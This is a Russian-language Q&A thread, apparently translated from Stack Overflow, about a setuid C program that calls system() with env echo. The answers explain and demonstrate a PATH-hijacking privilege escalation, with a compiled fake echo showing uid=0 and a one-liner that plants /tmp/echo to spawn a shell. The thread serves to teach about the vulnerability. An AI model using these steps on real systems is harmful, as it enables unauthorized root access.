Что уязвимо в этом C-коде? - PullRequest
34 голосов
/ 29 ноября 2011
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

Насколько я понимаю, приведенный выше код позволяет выполнять произвольный код (или программу) - что делает эту уязвимость и как этим воспользоваться?

Ответы [ 2 ]

53 голосов
/ 29 ноября 2011

Вы можете переопределить переменную PATH, чтобы указать каталог с вашей пользовательской версией echo, и, поскольку echo выполняется с использованием env, она не рассматривается как встроенная.

Это уязвимость, только если код запускается как привилегированный пользователь.

В приведенном ниже примере файл vc содержит код из вопроса.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Обратите внимание, что настройкареальный идентификатор пользователя, эффективный идентификатор пользователя и сохраненный set-user-ID путем вызова setresuid() перед вызовом system() в уязвимом коде, размещенном в вопросе, позволяет использовать уязвимость, даже если установлен только эффективный идентификатор пользователядля привилегированного идентификатора пользователя и реального идентификатора пользователя остается непривилегированным (как, например, в случае, когда полагается на бит set-user-ID в файле, как указано выше).Без вызова setresuid() оболочка, запущенная system(), вернет эффективный идентификатор пользователя обратно к реальному идентификатору пользователя, что сделает эксплойт неэффективным.Однако в случае, когда уязвимый код запускается с реальным идентификатором привилегированного пользователя, достаточно только вызова system().Цитирование sh Страница man:

Если оболочка запущена с эффективным идентификатором пользователя (группы), не равным реальному идентификатору пользователя (группы), и опция -p не указана, нетфайлы запуска считываются, функции оболочки не наследуются от среды, переменная SHELLOPTS, если она появляется в среде, игнорируется, а эффективный идентификатор пользователя устанавливается равным реальному идентификатору пользователя.Если опция -p указана при вызове, поведение при запуске остается тем же, но эффективный идентификатор пользователя не сбрасывается.

Также обратите внимание, что setresuid() не переносимый, но setuid() или setreuid() также могут быть использованы для того же эффекта.

0 голосов
/ 12 июня 2019

на самом деле при вызове системной функции вы можете запутаться с командой echo. например, если вы выполните следующий код:

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

вы получите оболочку с разрешением владельца файла

...